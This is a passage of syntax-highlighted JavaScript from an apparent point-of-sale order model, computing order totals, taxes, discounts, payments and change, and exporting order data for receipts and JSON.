<code class="javascript_keyword1">if</code>( last_orderline <code class="javascript_operator">&</code><code class="javascript_operator">&</code> last_orderline<code class="javascript_operator">.</code><code class="javascript_function">can_be_merged_with</code>(line) <code class="javascript_operator">&</code><code class="javascript_operator">&</code> options<code class="javascript_operator">.</code>merge <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_literal2">false</code>)<code class="javascript_operator">{</code>
last_orderline<code class="javascript_operator">.</code><code class="javascript_function">merge</code>(line)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">add</code>(line)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">selectLine</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getLastOrderline</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">removeOrderline</code>: <code class="javascript_keyword1">function</code>( line )<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">remove</code>(line)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">selectLine</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getLastOrderline</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getLastOrderline</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">at</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>length <code class="javascript_operator">-</code><code class="javascript_digit">1</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">addPaymentLine</code>: <code class="javascript_keyword1">function</code>(cashRegister) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> paymentLines <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">paymentLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> newPaymentline <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">Paymentline</code>(<code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>cashRegister<code class="javascript_operator">:</code>cashRegister<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(cashRegister<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">journal</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>type <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">cash</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">{</code>
newPaymentline<code class="javascript_operator">.</code><code class="javascript_function">set_amount</code>( <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getDueLeft</code>() )<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
paymentLines<code class="javascript_operator">.</code><code class="javascript_function">add</code>(newPaymentline)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getName</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
getSubtotal <code class="javascript_operator">:</code> <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_display_price</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getTotalTaxIncluded</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_price_with_tax</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getDiscountTotal</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> (orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_unit_price</code>() <code class="javascript_operator">*</code> (orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_discount</code>()<code class="javascript_operator">/</code><code class="javascript_digit">100</code>) <code class="javascript_operator">*</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_quantity</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getTotalTaxExcluded</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_price_without_tax</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getTax</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_tax</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getPaidTotal</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">paymentLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> paymentLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> paymentLine<code class="javascript_operator">.</code><code class="javascript_function">get_amount</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getChange</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getPaidTotal</code>() <code class="javascript_operator">-</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxIncluded</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getDueLeft</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxIncluded</code>() <code class="javascript_operator">-</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getPaidTotal</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">set_cashier_name</code>: <code class="javascript_keyword1">function</code>(name)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">set</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">sets</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">type</code><code class="javascript_comment2"> </code><code class="javascript_comment2">of</code><code class="javascript_comment2"> </code><code class="javascript_comment2">receipt</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'receipt'(default)</code><code class="javascript_comment2"> </code><code class="javascript_comment2">or</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'invoice'</code>
<code class="javascript_label">set_receipt_type</code>: <code class="javascript_keyword1">function</code>(type)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_type <code class="javascript_operator">=</code> type<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">get_receipt_type</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_type<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">client</code><code class="javascript_comment2"> </code><code class="javascript_comment2">related</code><code class="javascript_comment2"> </code><code class="javascript_comment2">to</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">current</code><code class="javascript_comment2"> </code><code class="javascript_comment2">order.</code>
<code class="javascript_label">set_client</code>: <code class="javascript_keyword1">function</code>(client)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">set</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>client)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">get_client</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">get_client_name</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> client <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> client <code class="javascript_operator">?</code> client<code class="javascript_operator">.</code>name <code class="javascript_operator">:</code> <code class="javascript_literal1">"</code><code class="javascript_literal1">"</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">order</code><code class="javascript_comment2"> </code><code class="javascript_comment2">also</code><code class="javascript_comment2"> </code><code class="javascript_comment2">stores</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">screen</code><code class="javascript_comment2"> </code><code class="javascript_comment2">status,</code><code class="javascript_comment2"> </code><code class="javascript_comment2">as</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">PoS</code><code class="javascript_comment2"> </code><code class="javascript_comment2">supports</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">different</code><code class="javascript_comment2"> </code><code class="javascript_comment2">active</code><code class="javascript_comment2"> </code><code class="javascript_comment2">screens</code><code class="javascript_comment2"> </code><code class="javascript_comment2">per</code><code class="javascript_comment2"> </code><code class="javascript_comment2">order.</code><code class="javascript_comment2"> </code><code class="javascript_comment2">This</code><code class="javascript_comment2"> </code><code class="javascript_comment2">method</code><code class="javascript_comment2"> </code><code class="javascript_comment2">is</code><code class="javascript_comment2"> </code><code class="javascript_comment2">used</code><code class="javascript_comment2"> </code><code class="javascript_comment2">to</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">store</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">screen</code><code class="javascript_comment2"> </code><code class="javascript_comment2">status.</code>
<code class="javascript_label">set_screen_data</code>: <code class="javascript_keyword1">function</code>(key<code class="javascript_operator">,</code>value)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">if</code>(arguments<code class="javascript_operator">.</code>length <code class="javascript_operator">=</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_digit">2</code>)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_data<code class="javascript_operator">[</code>key<code class="javascript_operator">]</code> <code class="javascript_operator">=</code> value<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_keyword1">else</code> <code class="javascript_keyword1">if</code>(arguments<code class="javascript_operator">.</code>length <code class="javascript_operator">=</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_digit">1</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(key <code class="javascript_keyword1">in</code> arguments<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">]</code>)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_data<code class="javascript_operator">[</code>key<code class="javascript_operator">]</code> <code class="javascript_operator">=</code> arguments<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">]</code><code class="javascript_operator">[</code>key<code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2">see</code><code class="javascript_comment2"> </code><code class="javascript_comment2">set_screen_data</code>
<code class="javascript_label">get_screen_data</code>: <code class="javascript_keyword1">function</code>(key)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_data<code class="javascript_operator">[</code>key<code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">exports</code><code class="javascript_comment2"> </code><code class="javascript_comment2">a</code><code class="javascript_comment2"> </code><code class="javascript_comment2">JSON</code><code class="javascript_comment2"> </code><code class="javascript_comment2">for</code><code class="javascript_comment2"> </code><code class="javascript_comment2">receipt</code><code class="javascript_comment2"> </code><code class="javascript_comment2">printing</code>
<code class="javascript_label">export_for_printing</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> orderlines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">each</code>(<code class="javascript_keyword1">function</code>(orderline)<code class="javascript_operator">{</code>
orderlines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(orderline<code class="javascript_operator">.</code><code class="javascript_function">export_for_printing</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> paymentlines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">paymentLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">each</code>(<code class="javascript_keyword1">function</code>(paymentline)<code class="javascript_operator">{</code>
paymentlines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(paymentline<code class="javascript_operator">.</code><code class="javascript_function">export_for_printing</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> client <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> cashier <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code>) <code class="javascript_operator">|</code><code class="javascript_operator">|</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">user</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> company <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">company</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> shop <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">shop</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> date <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> <code class="javascript_keyword3">Date</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> <code class="javascript_operator">{</code>
<code class="javascript_label">orderlines</code>: orderlines<code class="javascript_operator">,</code>
<code class="javascript_label">paymentlines</code>: paymentlines<code class="javascript_operator">,</code>
<code class="javascript_label">subtotal</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getSubtotal</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_with_tax</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxIncluded</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_without_tax</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxExcluded</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_tax</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTax</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_paid</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getPaidTotal</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_discount</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getDiscountTotal</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">change</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getChange</code>()<code class="javascript_operator">,</code>
name <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getName</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">client</code>: client <code class="javascript_operator">?</code> client<code class="javascript_operator">.</code>name <code class="javascript_operator">:</code> <code class="javascript_literal2">null</code> <code class="javascript_operator">,</code>
<code class="javascript_label">invoice_id</code>: <code class="javascript_literal2">null</code><code class="javascript_operator">,</code> <code class="javascript_comment2">//</code><code class="javascript_comment2">TODO</code>
<code class="javascript_label">cashier</code>: cashier <code class="javascript_operator">?</code> cashier<code class="javascript_operator">.</code>name <code class="javascript_operator">:</code> <code class="javascript_literal2">null</code><code class="javascript_operator">,</code>
<code class="javascript_label">date</code>: <code class="javascript_operator">{</code>
<code class="javascript_label">year</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getFullYear</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">month</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getMonth</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">date</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getDate</code>()<code class="javascript_operator">,</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">day</code><code class="javascript_comment2"> </code><code class="javascript_comment2">of</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">month</code><code class="javascript_comment2"> </code>
<code class="javascript_label">day</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getDay</code>()<code class="javascript_operator">,</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">day</code><code class="javascript_comment2"> </code><code class="javascript_comment2">of</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">week</code><code class="javascript_comment2"> </code>
<code class="javascript_label">hour</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getHours</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">minute</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getMinutes</code>()
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">company</code>:<code class="javascript_operator">{</code>
<code class="javascript_label">email</code>: company<code class="javascript_operator">.</code>email<code class="javascript_operator">,</code>
<code class="javascript_label">website</code>: company<code class="javascript_operator">.</code>website<code class="javascript_operator">,</code>
<code class="javascript_label">company_registry</code>: company<code class="javascript_operator">.</code>company_registry<code class="javascript_operator">,</code>
<code class="javascript_label">contact_address</code>: company<code class="javascript_operator">.</code>contact_address<code class="javascript_operator">,</code>
<code class="javascript_label">vat</code>: company<code class="javascript_operator">.</code>vat<code class="javascript_operator">,</code>
<code class="javascript_label">name</code>: company<code class="javascript_operator">.</code>name<code class="javascript_operator">,</code>
<code class="javascript_label">phone</code>: company<code class="javascript_operator">.</code>phone<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">shop</code>:<code class="javascript_operator">{</code>
<code class="javascript_label">name</code>: shop<code class="javascript_operator">.</code>name<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">currency</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">currency</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">exportAsJSON</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> orderLines<code class="javascript_operator">,</code> paymentLines<code class="javascript_operator">;</code>
orderLines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">each</code>(_<code class="javascript_operator">.</code><code class="javascript_function">bind</code>( <code class="javascript_keyword1">function</code>(item) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> orderLines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">,</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> item<code class="javascript_operator">.</code><code class="javascript_function">export_as_JSON</code>()<code class="javascript_operator">]</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code> <code class="javascript_literal2">this</code>))<code class="javascript_operator">;</code>
paymentLines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">paymentLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">each</code>(_<code class="javascript_operator">.</code><code class="javascript_function">bind</code>( <code class="javascript_keyword1">function</code>(item) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> paymentLines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">,</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> item<code class="javascript_operator">.</code><code class="javascript_function">export_as_JSON</code>()<code class="javascript_operator">]</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code> <code class="javascript_literal2">this</code>))<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> <code class="javascript_operator">{</code>
<code class="javascript_label">name</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getName</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_paid</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getPaidTotal</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_total</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxIncluded</code>()<code class="javascript_operator">,</code>
